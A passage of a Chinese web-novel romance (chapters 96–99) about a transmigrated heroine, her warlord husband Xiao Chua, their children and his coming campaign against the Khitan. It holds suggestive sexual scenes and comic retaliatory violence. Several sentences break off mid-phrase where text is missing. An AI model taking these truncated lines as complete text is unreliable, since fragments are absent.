知道他在享受被她拉着走的感觉,宓瑶甩开了手,只是两人的手刚分开,萧欻的另一只手就接了上去。
“我错了,是我心急。”
在战场上当绝不后退的铁血战神,在自己夫人面前则是能屈能伸,随时能收起得意嘴脸的男人。
“若不是看你眼睛疲的都睁不开了,谁乐意理你。”
刚赶回来那阵还煞气满满,褐色的眼珠整颗露出,眼神幽深带着寒气,等到吃饭时眼皮子越压越低,到现在眼皮子耷拉着遮住了一半眼珠,满脸都写着疲惫困倦。
但就是这样了,说话还不老实。
“知道夫人心疼我。”
萧欻往前追了一步,从身后拥住了宓瑶。
自他坦白了自个想法,并且努力去探寻宓瑶要什么之后,宓瑶并没有给他什么让他安心的回应。
甚至有时候他觉得她对他要不同了,她自己察觉后,又会觉得不对冷他几天。
这种情况下,他亢奋于他这次回来她的不同,忍不住贪心想要更多。
在床榻上躺下,萧欻牵着宓瑶的手,眼眸定定地看着她:“不会我睡着了你就走了吧。”
“怎么跟小孩一个样,你以为你是萧良还是萧善,要大人守着睡觉,就是他们现在也没那么幼稚了……”
话被萧欻倏然抬起脖颈的偷亲打断。
宓瑶磨牙不爽地在他脖颈咬了一口。
一次两次就算了,她说话到底是多无聊,每次她说话的句子一长他就要堵她的嘴。
“嫮嫮,嗯……”
她这口想咬个狠的,但耳畔是萧欻濡湿的喘息,眼下是萧欻衣领遮不住的新伤口,宓瑶无语地抬起头,手掌放在萧欻眼上一遮。
“睡觉!”
感觉手心被毛发瘙痒,宓瑶手掌抖了抖。
她发现萧欻这个人哪儿都糙。
手掌粗糙,睫毛也硬像是小针。
“嫮嫮。”
“嗯?”
“我听说过人冻到极致会产生幻觉,我到底是到家了,还是在寒风中睡着了。”
嗅着独属于宓瑶身上的暖香,萧欻磁性的声音越来越低哑,手覆在宓瑶的手上,暗哑的嗓音配着他涂过油依然干燥裂出血痕的嘴唇,带了几分可怜。
“少装模作样,我不吃这一套。”
还冻到极致产生幻觉,他以为他是卖火柴的小女孩。
知道他起这个头是想她主动做些他不是身处幻觉的事,比如说刺激感官的亲密运动。
宓瑶干脆地收回了手,拉过被衾把他从头到尾都盖的严严实实。
她就不该给他好脸。
萧欻能察觉到她的改变得寸进尺,她自然也能清晰的知道她在对他放感情。
若是以前她会很讨厌这种对人上心的感觉,把感情分给别人,对她来说是一种风险投资,很可能意味着她会血本无归。
但对萧善他们开始用心以后,她的感情会情不自禁的向萧欻流泻。
他求着她爱他一点,他都那么诚心诚意的请求了,她给他一点好像也没什么。
“阿爹睡了没有?”
门扉被轻轻推开了一条缝,萧良红嘟嘟的嘴巴凑近缝隙悄声问道。
“娘亲,我们可以进来吗?”
萧善也把嘴巴凑到了缝隙边上。
宓瑶拉开了门:“睡了。”
听到娘亲说睡了,三人一同涌入,站在床边欣赏萧欻熟睡的模样。
“阿爹这是在打传说中的呼噜吗?”
萧良手撑在窗沿边上,耳朵凑到萧欻的附近,把萧欻比一般时候沉重许多的呼吸理解成了呼噜,“娘亲要跟打呼噜的阿爹睡实在太辛苦了,今日就跟我睡吧。”
“跟我跟我。”
怕吵醒萧欻,两人都压低了声音,只是为了争夺宓瑶的陪睡权,两个人龇牙咧嘴,表情极为丰富。
“我和娘亲都是女娘,娘亲该跟我睡。”
萧善脸蛋鼓成了上了蒸笼发胀的白面包子。
“我愿意为了娘亲变成女娘,你可以吗?!”
萧良的脸是大一号的白面包子。
“我本来就是女娘为什么要变!”
萧善双手乱挥,也不是打萧良,的不高兴。
萧良回击,双手握拳凭空打鼓:“对啊,你本来就是,所以你只会索取,不会为娘亲付出。”
“我没有。”
萧善终究是比萧良小了两岁,哪怕嘴皮子利落了,依然不像是萧良有那么多鬼扯的道理。
第一轮争的胜利结束。
宓瑶欣赏了半天他们没有硝烟,全凭鬼脸和在空气中演奏乐器的增加气势的战争。
见两人吵完把目光对向她,宓
虽然她从头到,但既然局面都到了这个情况,今晚她这个陪睡不陪实在太过不去。
萧欻这一觉直接睡到了天微微亮,摸了半天没在身边摸到什么,萧欻睁眼看了半晌床幔,才起身去了听松院。
打开萧良的屋子没见着人,换到萧善的屋子,就见着萧良和萧善一左一右睡得东倒西歪把宓瑶包围在中间。
感觉被抱起,宓瑶没睁眼,闻着熟悉的气味就把双手搭在了萧欻的肩上。
因为要守岁各屋的灯烛都没熄,萧欻走之前顺便把兄妹俩房里的烛火熄了,免得他们醒的太早来打扰他和宓瑶。
“我前几日做了个梦。”
半梦半醒被人抱着走路的感觉太舒服,所以萧欻把她放在床上之后,她有了落差,反而没了睡意。
“做了什么梦?”
听见宓瑶开口,萧欻一边脱下外裳在她旁边躺下,一边搂着她的腰问道。
“梦到你出事,我哭醒了。”
也就是这个梦她发现在不知不觉中萧欻对她变得重要起来,梦醒后她呆愣了良久,摸着脸上濡湿的泪痕,分不清自己身处梦境还是现实。
比起宓瑶的前半句话,萧欻明显更在乎她的后半句。
他搂着她,疼惜地吻着她的脸颊,像是要把几日前他没做到的安抚给补齐了。
灼热的肌肤碰触在脸上来回移动,氤氲出一层软雾入了宓瑶的眼眸,让她原本干净清澈的杏眸多了一丝水意积在眼眶。
委屈突如其来。
萧欻察觉到了这点,手脚有了几分慌张,不知道自己是不是做得不对。
“我没那么容易死,以往觉着做好一把刀就够,不会太过在意生死,现在有你,还有抚养萧翼哥三个的责任,更甚之还有剑南的担子,我哪敢死。”
“知道就好,别求着我喜欢你,求到我心软对你用了几分感情,你就让我赔的血本无归。”
那日她醒来心堵了好一会,回想书中的事件顺序,如今的进展都快了几分,特别是萧欻,比书中提前了一年多得到了赵天赫的重视。
她不知道这是好是坏,但知道她很怕书里能成为一方霸主的萧欻,因为她的存在变成早死男人。
想着宓瑶锤了萧欻胸口两下。
“若是你不好好活着,你前脚死我后脚就改嫁。”
改嫁这个词让萧欻心跳顿了半瞬,连喘气都停了,他自然不会怀疑宓瑶的娇媚。
她光是美貌就有大批男子争抢,如今她安抚灾民,处理内务的名声声名远扬,淮南王前些日子在公开的场合直接说他前半生唯一的遗憾是没娶宓瑶,但这遗憾下半生他会尽快弥补。
这话传到他耳里,若不是布局还需时间,他不会只是放出把淮南王串成糖葫芦的回应,而是真冲到淮南一枪把他从头捅到底。
不过就算不能现在杀过去,距离他做这件事不会太久。
把宓瑶搂在怀里哄了半晌,保证了自己绝对珍爱性命,见到宓瑶眼底的水痕消下,萧欻大松了一口气。
只是他这个口气刚松,胸口又被宓瑶邦邦锤了两拳。
对上宓瑶气愤瞪圆的眼眸,萧欻小心翼翼:“还做了别的其他什么梦了?”
“你想的倒美,我的梦别的不做就成日梦你。”
萧欻浅麦色脸上浮现浮现了一丝冤枉:“我每日的梦梦的都是你。”
虽然大部分的梦都是两人不穿衣裳,但也有穿着衣裳,她伏他的怀里撒娇。
若说比较特别的,就是他梦见他们第一次见面,他从一开始就放低了姿态,没吓她,对她的讨好全盘接受,在马上就深入交流了起来。
当然他的这些梦都是不能在正经时刻与宓瑶说的。
他只要敢说,那以后真是只能在梦中做那事了。
男人在这事上的确要比女娘来的猥琐龌龊,他自问他喜爱宓瑶并不是因为那事,但一想她,一见到她,他脑子就只剩那事。
不像她会担忧他的安危,在梦中落泪。
想着萧欻把宓瑶搂得更紧。
“都是我的错,嫮嫮该多捶我几下。”
“打你是气你不在,我要给你收拾烂摊子。”
宓瑶解释道,免得他觉得她师出无名。
前几日她做完梦后气不顺,觉着萧欻影响她太多,萧欻太远她揍不到,而萧善他们几个跟萧欻有血缘的,因为年纪太小她不好意思下手。
所以她把对萧欻示好世家都训了一遍出气。
但说是出气其实是为萧欻省了麻烦。
第97章 第九十七章【VIP】
自从赵天赫有意把剑南交给萧欻后,对萧欻示好的就不再是没有多少分量的富户,而换成了世家门阀。
只是他们示好的方式都差不多。
送钱送女人。
别说虞家想送个长得跟她相似,年岁更小一点庶女送给萧欻。
其他家都想往萧府后院塞女人。
萧欻名下有三个孩子,但实际一个亲生的都没有,这足以让他们热血澎湃,还觉得她这个下不出崽的该主动给萧欻找女人。
之前那些送女人的还要点脸面,暗示几句萧欻不收他们也不能强送。
如今世道乱了,他们需要靠山,就又想着送女人。
“前几日几个上了年纪妇人冲到我面前装佯,那姿态我还以为你娘死而复生了。”
宓瑶不是受了委屈不说的人。
当即就说了这段日子他不在城内,那些找她茬的人家。
过年前的时日萧欻忙碌,她也没好到哪里去。
城外的临时住所不断的在收纳难民,而前一批收容入各个郡县的百姓分发给他们的物资也需要计算,并且确保东西能发下去。
幸好铺子可以交给霜华和虞琇,慈济院可以交给鄢妘她们,她才有喘气的时间。
谁想到这口喘息的时间也有人破坏。
那日她归府,先是被拦马车,掀开车帘,堵在萧府门口的老妇,见到她张口就是教训。
“为人妇还日日在外鬼混,日日不着家,怪不得会娘家不认,你这样女子放在我们乌家,就该领回家吊死,免得丢人现眼!”
老妇穿得红红火火,身上是大红袄子,半白的发髻上全是金簪宝石。
一看就是萧欻漏了去她家劫富济贫。
老妇说完见宓瑶没有开口,神色透着疲惫困倦,觉着她是怕了,脸上挂上了得意的神情。
谁想到宓瑶上前半步,抬手给了她一巴掌。
啪的一声,周围静的连根针掉到地上都听得到。
力是相互作用,打了她,宓瑶掌心发麻发疼,甩了甩手:“啰嗦。”
以前她整日要做的事就是看话本,所以有多余的精力跟人斗嘴,如今她事情多,精力不够用,哪有闲心跟人吵嘴。
“把人打出去,别打死就成。”
嘱咐了齐娘一声,宓瑶先走一步。
被打的老妇回过神来又是尖叫又是哭嚎,没想到宓瑶竟敢动手打她,让她是面子里子都丢得干净。
“你竟然敢打我,你可知道我是谁!你们虞家给我金家提鞋都不配!你们还愣着干什么,给我抓住她!”
老妇带了不少人来,但带的人再多也敌不过萧府的部曲。
因为宓瑶交代的不能打死,齐娘看老妇老胳膊老腿的,就只是扯了她家下人的臭袜子塞住了她的嘴,把她身边的人揍得七七八八。
宓瑶便是这日的夜里做了关于萧欻的梦。
梦完她起了个大早,让濮青把这些日子想给萧欻送女人的人家地址都列出来,她带着人一家家的去扔臭鸡蛋。
反抗的就直接打。
剑南境内能跑的她都跑了一遍,而这些人也真是奇了怪了,送女人的时候一个个要教育她当她长辈,她开始嚣张,一个个又成了缩头乌龟。
一个敢打上门的都没有。
宓瑶给萧欻说自己的战绩,当然不会说自个有多凶,只会说被人欺负,摊开自己的手,跟萧欻回忆当时拍人有多疼。
萧欻捧着宓瑶白皙的手掌吹了半晌,若不是宓瑶嫌弃恶心,他还愿为她舔舐疗伤。
宓瑶被他吹的掌心发痒,不耐地抽出了手:“你就只是这般?”
“再与你待一会,我就去与他们算账,让他们不敢再来烦你。”
听到她受委屈,他晓得他该立刻动身为她讨回时隔几日的公道。
可这会儿他还陷在她愿意好好跟他过日子的甜蜜里,像是掉进了蜜罐,浑身黏糊糊的,离不开床榻也离不开她。
“嫮嫮辛苦你了,我晓得你最讨厌这些事情,但实话实说,我很高兴你这般护着我,我是你的,谁也不该觊觎。”
萧欻怕自己难压的嘴角被宓瑶发现后,她看不惯与他置气,干脆坦言他在高兴什么。
他的话开头还听得过去,后面一句,让宓瑶忍不住捶了他胸口一拳。
不过没有开口反驳。
她默认的态度让萧欻嘴角翘得更厉害。
“成了,是怎么,笑的傻乎乎的。”
宓瑶没好气地说道,只是触到萧欻的笑脸,她也绷不住笑了起来。
,也不知道在乐什么。
等到笑够了,眼中情绪不知何时变了味,唇瓣碰触,宓瑶,她试着做两人之间更强势的那一个。
只是她的主动没有让萧欻软,只是让他亢奋的身体轻轻发颤,唇齿的存在感更激烈明显,型犬。
成功骑在萧欻身上,从上往下的俯视他,但因为萧欻的腰部力量太凸出,宓瑶意识到她没办法顺利营造她想要的氛围,狠狠咬了他唇瓣一口。
见他吃疼停下,她才手掌抵着他的胸膛高高坐起。
朦胧的杏眸微微眯起,宓瑶做出凶狠的模样:“萧欻,你要是有一日敢背叛我,我铁定会要你的命。”
原主恨萧欻只敢拿无辜的孩子撒气,她可不一样,她只会找正主。
“原本不谈感情,你能享受的一点不少,是你自己招惹我,做出一副可怜巴巴没人要的野狗模样求我怜惜,你自己找的麻烦,你就该承受这麻烦会带来后果。”
见萧欻张嘴要说话,宓瑶捏住了他的下颌,“我这人说到做到,你不必觉得我在益州做这些事辛苦,我不是为了你,我是在积蓄我的能量,免得要处理背叛者的时候无人可用。”
她是个理智的人,她可以放纵自己回应萧欻,建立与他的羁绊,但不代表她会完全信任他。
甚至她都不信任自己,她现在喜欢萧欻的身体,喜欢他炙热莽撞的情意,但有一天她又对别人动心了怎么办。
感情是说不准的,所以为了让自己享受爱情,她做好了参与权力斗争的准备,等到萧欻掌握到足够多权力的时候,她的地位不会差到哪里去。
毕竟她要确保处理了背叛的人之后,她还有足够的能力在乱世中立足。
想着她忍不住跟身下的萧欻一样,开始亢奋起来,有些期待萧欻把她逼到那个地步,然后她争权夺利,在乱世中杀出一条血路。
萧欻眼睁睁看着宓瑶刻意傲慢的神色变得充满野心。
而这野心明显跟他没关系,他咬牙搂住了她的腰肢:“朝我放狠话还能跑神,若是我往后碍了你的事,是不是你都要给我扣上背叛者的帽子,好把我甩开。”
虽然她思维是真发散到了萧欻说的这个程度,但谈情说爱的气氛里说这种大实话实在太伤人。
宓瑶眼眸睁大故作无辜,撒娇道:“嫮嫮哪有那么坏,嫮嫮才不会给人乱扣帽子呢,嫮嫮只想萧郎能对嫮嫮一心一意,才不会想甩开萧郎。”
边说,宓瑶边伸出手指,娇俏地点了点萧欻的鼻尖。
萧欻捉住了她的指尖,去瞧她半点不觉害羞,娇媚可人的眼眸。
说这般刻意肉麻的话她都能神色自如,等到以后她想哄骗他,不是要把他哄成胎盘?
感觉自己的身体因为宓瑶柔媚的嗓音战栗,抗拒不了她的任何情态,萧欻一边觉得自个没用,一边把宓瑶掐腰抱起,让她继续坐在了他的身上。
“若是我背叛你,我信你杀得了我,至于你,费力哄哄我,以你的能力该是哄得住的。”
听出萧欻的意思是说往后她背叛他,只需要哄他就能逃过一劫,宓瑶怔了怔,没想到世上还有这种好事。
若是这般,她不背叛他几次,不就是自个不信任自个的能力?
宓瑶因为萧欻的话跑神,萧欻也没打扰,他只是一件件的剥开了她的衣裳,让她在他身上恍若在骑一匹失了智不受控的疯马。
“你……疯了!”
宓瑶被颠的骂人都骂不顺畅,双手紧紧掐在萧欻身上,害怕被他甩出去。
天知道这种运动还有被甩下床榻的风险。
为了更好的施力,萧欻腰背立起,如宓瑶一样坐起,面对面的姿势,萧欻的眸光除了欲还带了丝凶狠。
大早上被他折腾那么一回,宓瑶躺平喘气时都忍不住摸一摸床铺,哪怕结束了她都觉得床还在震。
这狗男人嘴上说的好听,什么她哄一哄,她背叛都能原谅。
实际上她光是想一想,他就恨不得把她干死在床榻上。
“小气鬼!”
恢复些力气宓瑶就开口挑衅萧欻。
“嫮嫮知晓就好。”
比起她的咬牙切齿,萧欻嘴角扬起,埋头在她唇上重重吸了一口,瞧着她道,“我这般的野狗,装可怜得了主人,那就是一生只认这一个主人,若是主人弃了我,或是摸了其他畜生,我就变成了疯犬,逮谁咬谁!”
说完,他掰开了宓瑶紧咬的牙齿,自个呲了呲牙,做出了一个凶狠的表情。
宓瑶:……
她这才刚开始准备爱他,就由衷地想揍他一顿是怎么回事。
第98章 第九十八章【VIP】
接下来的几日萧府都过得热热闹闹。
除去吃睡,就是安排伶人进府表演,因为没了不长眼的人打扰,比去年还要自在。
到了要忙起来的时节,萧欻才抽空带着三个崽子,去摘了被宓瑶砸了臭鸡蛋的那几家蠢货的牌匾。
顺道还能当做陪孩子远足。
“往后我不在城内,你们就那么护着你们母亲,打上门去,天塌下来还有我在。”
萧欻说着顿了顿,目光落在个子与神态都与一年前有些许差别的三个萝卜头身上。
“你们也是一样,若是有人欺负,直接打上去,打不过就叫上府中部曲,我能给你们兜底。”
有大批没出息的世家子弟做对比,再加上他自己成长过程中没什么依靠。
说嫌麻烦也好,还是心中那一丝阴暗想法也好,他以往不想成为任何人的靠山,让旁人依附他吸取养分。
萧善和萧良是他娘推到他身上的责任,萧翼是他在一处被屠过的村庄发现,萧翼身上的伤都避开了要紧处,被救后还依然抱着他已经断气的妹妹。
那时候他正烦萧良和萧善两个哭包,觉得萧翼看着像是能带孩子的,就给他改姓弄到了萧府,做两个孩子的大哥。
事实证明他的眼光没错,萧翼的确把这个大哥做得很好。
若不是有宓瑶的出现,他与这个三个孩子的关系大约会一直保持着不熟的状态,他吝啬于给他们任何关心,只是确保他们能活在世上。
“爹不给我们兜底还想给谁兜底,隔壁府邸喜欢挂着鼻涕到处乱甩的廖小郎吗?”
对于萧欻突如其来的深沉,萧良抱起短胳膊,怀疑地看着他,“阿爹,为什么要说理所应当的事情?”
萧善跟着点头。
相比两个小的,萧翼的记性更好,他能清楚地感知萧欻这一年的变化,也懂得他此时的承诺。
“爹放心,我们会护好母亲,也会好好照顾自个,有爹和母亲在,没人敢欺辱我们,我们也不会仗势欺人。”
最后一句是重点,相比于被人欺负,他觉得他现在要看好弟弟妹妹,不要让他们长歪了,成了那些有了家中长辈宠爱,就变成不把其他人当人的坏孩子。
“有大郎在,我要放心许多。”
萧欻伸手抚了抚萧翼的头顶,每次不管从两个小的那里听到多糟心的话,总是能从萧翼这儿听到句舒心的。
“不过你也不必精力都放在他们两人的身上,你比他们大不了几岁。”
萧欻补了句,说完就见萧翼仰起头,眼泪汪汪地瞧着他,眼里满是孺慕与喜悦。
怔了怔,萧欻开始思考他听到宓瑶说好听话时,是不是也用那么蠢的眼神看着她。
应当不是的。
至少他不会孺慕,只会想占有。
“我也要摸摸。”
萧良见萧欻摸萧翼的脑袋,萧良把头凑了过去。
萧欻在他头上胡乱揉了揉,然后看向萧善,想着她也要摸头那就过来顺便。
而触到他目光的萧善捂住了脑袋,脚步退后了两步,水汪汪的黑眸里分明写着“你不配”。
萧欻:……
也不知宓瑶平日是怎么耐着性子跟这几个崽子打交道。
抱着自个媳妇太不容易的想法,夜里的运动萧欻格外有耐心,先是手再是唇齿。
宓瑶原本灵动的眼眸多了一层朦胧的水汽,不晓得他怎么突然上了那么特别的手段,但他主动伺候,她再惊讶也不会傻傻地打断。
掐萧欻的背不能缓解特别触感带来的刺激,宓瑶不禁去抓萧欻的头发,手指一次次钻入他的发丝,周围水汽都被她抹在了他的发根,试图把自己肌肤上的瘙痒都怪罪到他粗硬的发丝上。
为了防止自己头上一头难言的气味,萧欻速战速决。
宓瑶呆滞地看着萧欻的喉结滚动,对视间她直觉不好,把脸埋进了被子里。
本以为会被萧欻翻出来,她紧张地抓着被衾,谁知道半晌也没有动静,抬头一看发现萧欻早就下了床,捧着香茗在漱口。
见萧欻不止是含着茶水,还仰头让漱口的茶水往口腔更深处走,宓瑶的羞涩褪去,脸上多了不爽的骄蛮:“你这是什么态度,味道有那么差?你漱那么干净做什么?”
她连脚指头都是香的,没道理那里臭不可闻。
“夫人冤枉,我都吞了。”
萧欻觉着好笑,她怕他用他伺候过她的嘴吻她,怕的缩在被子里瑟瑟发抖,他认真漱口她又不乐意,觉着他是嫌弃。
合着她能嫌弃,
不过对他来说,说是仙浆玉露也什么错,反正
“不若我再来一次,这回”
萧欻神情跃跃欲试,见不着丝毫勉强,但宓瑶晓得她要是点头,这一次一定逃不过他把味道过到她嘴里,皱着鼻子摇了摇头。
,我自是信萧郎不嫌弃我。”
“啧。”
萧欻捏住了她的鼻子,“夫人哪哪都美,夫君怎么可能嫌弃。”
“嗯。”
宓瑶不客气地朝他挑眉,眼中全是得意。
萧欻扬唇抱住了她:“嫮嫮。”
气息喷洒在耳畔,宓瑶应了声,然后就又听到萧欻低哑的嗓音唤她的名字,知道他是没话说,胡乱叫唤,她便懒得理他。
而就算是胡乱叫唤,萧欻也想要互动,她不理,他就挠她痒痒。
“哈哈哈,你烦死了哈……”
宓瑶试图逃跑,又被萧欻捉回了榻上,瞧他那双如饥似渴的褐眸,她就知道他醉翁之意不在酒,偏偏他就是耐着性子不上正菜,就是压制她挠她痒痒。
不只是咯吱窝,连带肚脐这些皮薄地方他都没放过。
宓瑶笑眼角全是泪水,瘫在了软榻;“你就是疯子……”
被斥责疯子的萧欻则是欣赏雪白的肌肤泛起绯红,让宓瑶缓了片刻才道:“还有几日我就要走了,这一趟会去的比较久,但我会平安归来。”
萧欻本来是想把她伺候到极致,趁她又欢愉又疲惫时与她说这事。
但到了这会,他又觉得现在说更好。
他又不是一去不回,只是出门一段时间,何必趁着她无力吵架时开口,让她先想发脾气也没处泄力。
幽州节度使高纪借由契丹进攻向上京要兵,得了河东节度使支援后,他全家老少安全无忧,但河东节度使却亡了手下两员大将。
如今幽州,平洲,营州,檀州被契丹占领,高纪一退再退,契丹消化剩下几个州郡也是迟早的事。
而这情况已经是年前的消息。
如今七八日过去,宓瑶没有军方般快速获取消息的渠道,但也能猜到上京朝堂这个年不会好过。
高纪估计跟契丹有了什么协议,不然幽州不会失守的那么快,他这会说不定都已经挟持了河东节度使,打到了上京。
“你要往哪走,”
宓瑶坐起,“往上京,还是幽州?”
上京就是平内乱,幽州则是驱攘外敌。
前者是做戏,相较起来要轻松许多,后面难度则要翻上几倍。
从剑南到幽州太远,战线长后方就容易问题,再者幽州不止有契丹军队,还是高纪老巢。
“表面是上京。”
萧欻既然朝宓瑶开口就没有瞒着她的意思,“外族侵占的土地,平民百姓过的会比水患过的灾民更难。”
他能成为赵天赫养子,大部分原因是因为在翼州立下的功绩。
因为翼州他清楚外族人占领大兴土地后会是什么样子。
内乱百姓民不聊生,尚能存活六七,而外族人占领城池,第一件事便是屠城庆祝,活下来的百姓不是奴隶就是食物。
对上萧欻幽深的凤眸,话在嘴中滚了几滚,宓瑶半晌开口:“你要小心。”
她从一开始就知道萧欻的未来的方向,所以不可能因为前路危险就阻止他去,哪怕他们这一别再见可能要以年为单位。
要去幽州,就不可能只打契丹,事情都做了,自然要把幽州拿到手。
剑南跟幽州的距离,不可能直接补给,只能打出一条路。
哪怕大兴现在分崩离析,这一条路也不是几个月就能打出来的。
萧欻说还有几天才走,但宓瑶现在就生出了不舍,再想到他现在就跟她说这事,她抬手拧住了他的耳朵。
“你说的几日后走,不会是我从今夜起就会见不着你,你人虽然没动身,但忙的已经没法着家?”
他被她掐过咬过拍打过,还是第一次被揪耳朵。
这种恶媳妇的感觉让他觉得新鲜。
但就是新鲜,他也没傻到露出贪恋的表情,而是配合地表现害怕宓瑶的凶恶:“会忙一些,但不至于见不了面,父君不一定派我过去。”
话是那么说,实际上他们都晓得赵天赫会让他去。
赵天赫看好他不代表要把他护在益州城,让他做个平稳守成的继承者。
一是萧欻没有平稳守成的本事,他就是武将,要靠拳头打天下,没有功勋他就立不住脚。
二是萧欻又不是赵天赫的亲儿子,没有绝对的本事,赵天赫为什么不选别人要选他。
“我哥有本事,我也不差,只要你在外一日,后方粮草补给永远充足。”
聊到沉默,宓瑶突然张嘴做出承诺。
宓瑶对上萧欻的视线,想着大话都说出去了,也不差再说大些,就当做他今日伺候的报酬。
“我养你,不管你多大的胃口,我都养的起。”
萧欻嘴角越扬越高,他太明白宓瑶的承诺有多重,除了喜悦他忍不住开始心疼她,若非回应他索取的感情,她完全不需背负那么沉重的责任。
“嫮嫮,等我归。”
把人拥入怀中,千言万语只剩这一句。
他信他不会回来的太晚。
到时他可以再细说那没说出口的千言万语。
第99章 第九十九章【VIP】
想着萧欻没几天要远行,宓瑶把手上不急着处理的事情都全部停下,打算安心陪他几天。
谁想到一天过去,四天过去,萧欻不止没有启程的样子,连着说会开始忙碌,也没见忙碌起来。
两人在府邸就像是连体婴,吃睡都在一起,甄婧来找她聊天,见两人的样子都被腻歪跑了。
“你不会是为了骗我陪你,才说要去幽州吧!”
两人在榻上,萧欻上身立起,一只手拿着公文在看,另一只手给宓瑶揉着肚子。
而宓瑶脑袋靠在他的腿上,手上也捧着书,看到无聊处不想看下去,猛地跳起,踹了萧欻一脚。
无端被攻击,还被质疑说话的可信度,萧欻捏住她的手腕,又把人捞回了怀里:“老实些。”
“呵呵。”
宓瑶冷笑,“这才几日啊,男人果真就是这样,女人到手了嘴脸就变了。”
“你是看了什么让你不高兴的东西?”
听出宓瑶找茬,萧欻眉梢挑起,捡起了宓瑶扔在边上话本,想看她是看到了什么。
别的没看见,就看到一句——书生那处小如螺蛳。
眉头紧紧皱起:“你平日看的就是这些?”
他晓得她空闲时刻喜欢看话本打发时间,但不知道她看的是这个类型的话本。
“这话本明显是男人写的,还是个没本事只会吓女人的男人,书里面写一对夫妻,丈夫要出远门,妻子不停受到诱惑,但遇到的每个男人都有问题,不是一身烂疮,就是小如螺蛳。”
宓瑶没好气的说完,萧欻被紧皱的眉头瞬间散开,他方才还想把这书的作者找出来,写这种东西就该扔进牢房里关上一年半载。
听完内容,人还是可以找出来,但待遇要从扔进牢房到奖赏金银。
“他写得没错,除了自个的郎君,外头的男人哪有好的。”
见萧欻神色认真地说瞎话,宓瑶更觉得这本话本讨厌。
在书架上挑书的时候,她看到这本话本叫独守空闺的小娘子,觉着巧了就抽出来看。
然而兴奋地一页页看下去,每一次都是女主快要吃到肉了,就出现各种问题。
“这本书是你偷偷放进我书架的吧?”
想到书里面的女主的憋屈,宓瑶怀疑地看向萧欻。
“我一介草民,十五岁前连自己的名字怎么写都一知半解,一直觉着这些话本是世家贵族的消遣,哪知*道里面写的是什么,更别说玩手段用其中的内容吓你。”
当然之前不知道,往后倒是可以用用这个手段。
“你少装可怜。”
宓瑶的手指勾起了萧欻的嘴角两侧,阻止他露出失落的神情。
“嫮嫮,你别嫌我粗俗。”
一个男人想要装可怜,那是挡不住的。
再者,宓瑶对上萧欻戾气尽褪,只剩懵懂纯真的褐眸,他都愿意为她费心思了,她除了笑纳还能怎么样。
“就嫌你粗俗。”
“嫮嫮。”
男人磁性的嗓音带了丝丝哀求,脑袋在宓瑶胸前拱来拱去。
宓瑶开始还真觉得他有几分可怜,但很快就察觉他是在吃豆腐。
她想反抗却被他扣住了胳膊,说怕她看小如螺蛳的形容看伤了眼,要看看摸摸他的,免得混淆了认知。
“我以前怎么不知你那么下流。”
被迫双手捧了东西,宓瑶瞪向萧欻,以往她光带着恐惧嫌弃他大,她能感觉到他受了些影响,算不上自卑,但会避免她过多的直视它。
但现在不知道他又从哪里来了强烈自信,恨不得她凑到他跟前仔细观看,记住他的每一处模样。
“这哪是下流,是想让夫人能记着我,是疼爱夫人才这般舍了脸皮。”
宓瑶看向萧欻厚如城墙的脸皮,没看到脸红,只看到他眼尾亢奋的嫣红。
“信你就有鬼了。”
两人在软榻上胡闹了一阵,宓瑶庆幸自己来了癸水,不然又是眼睛一睁一闭又入了夜。
从榻上爬起来,宓瑶去换了衣裳,叫了思雨进屋给她梳头。
“我来。”
见思雨把发髻绾的七七八八,萧欻让人退下,而他接过了梳子,给宓瑶做接下来的收尾。
“你弄得成吗?别我一会出去,别人觉得我是疯婆子。”
铜镜太模糊,搁在身后利用角度,宓瑶依然看不清后脑勺的状况。
见萧欻并不灵巧的手在她头上翻动,她十分的怀疑。
“那正好,想到那些觊觎你的男人,我
“我是物件?还揣走。”
,动了动头,感觉发髻稳当才放下心,“你自个说说,是觊觎你的人多,还是觊觎我的人多,你不在的这些日子,只有人上门教训我,,可没人上门朝我求爱,说要趁
她的话没落音,萧欻就堵住了她的嘴。
吻的人气喘吁吁,说不出什么寂寞心灵的话,萧欻才打开首饰匣子,给宓
,我只是不舍。”
他不觉得宓瑶是他一走就会跟旁人搅合到一起的女人,哪怕曾经还有个书生表哥在他前头。
但他就是舍不得,可他不可能留下不走,而也不可能把宓瑶带走。
“这般不好看,我再重新给你簪发。”
萧欻只想与宓瑶只有彼此的待在一块,不想让她出门,所以给她戴上的发簪,又想一一取下,这般重复的拖延时间。
看出了萧欻的意思,宓瑶护住了头:“我觉得不错,别摘摘取取伤了我的头发。”
警告地说完,宓瑶瞥了眼萧欻老实站在原地看着她,老实到有几分可怜的模样。
“我要出门一趟,你是看公文还是?”
“我同你一起。”
萧欻迅速回道,他想两人单独待在一块,但更懂看宓瑶脸色,知道她这趟非出去不可,相比被她扔在家中,他更愿意与她一同去这一趟。
“等会你觉得无聊了就先走。”
上马车前,宓瑶提醒了萧欻一句。
以前手上没产业,十天半月不出门也没事,但如今她手上的产业众多,特别是香雪楼年后恢复营业,不停有夫人给她下帖子约她小聚,她不能不去一趟。
两人先去了慈济院,相比于最初的样子,短短的几个月,慈济院又往外扩大了一圈。
除去最开始的那些孩子,院里面又多了几百名孤儿。
萧善他们二个在家看不到娘,又被爹嫌碍眼,大部分时间都是在慈济院玩。
院里面的小书院早已建好,并且已经上了两个月余的课。
宓瑶去新建的木工作坊和瓦匠坊看了一圈,路过花园时见到萧良在排队玩秋千,她是想叫一声孩子,但嘴巴被萧欻捂得严严实实,宓瑶侧眼瞪向他,就没见过他这样当爹的。
“他玩得正好,我们就别打搅他了。”
花园里热热闹闹,这会儿正是孩子们散步放风的时间,萧良一边等秋千,一边与旁边其他孩子说话,宓瑶远远看过去,萧良嘴巴张张合合就没停过。
也不知道他是从哪来那么多话可说。
“是不打搅他,还是不让他打搅你。”
年纪小的孩童在玩,大一些的孩子则是在校场上释放精力,宓瑶看了一眼,想起了已经去了军营的曹铁牛。
“那个力大无比的孩子在军营中表现的怎么样?”
就是有赵天赫这个当权者的支持,慈济院的孩子也不可能像是现代一样,把每个孤儿都抚养到十八岁。
所以她除了书院,还找了绣娘木工瓦匠一类的技人,让孩子们学会一技之长。
她跟鄢妘她们商量之后,决定慈济院孩子十四岁之后,就让他们外出接活,尝试自己赚钱养自己。
到十六岁为止,慈济院就会彻底不管他们的吃喝。
而孩子们除了选择做工匠这条路,还能选择从军。
之前在荆州宓瑶让赵德救出的那些孩子,因为见过血,很多都没办法安稳的待在慈济院,加上年岁都不小就被赵德全都要。
其中包括在书中未来会虐杀成瘾的曹铁牛。
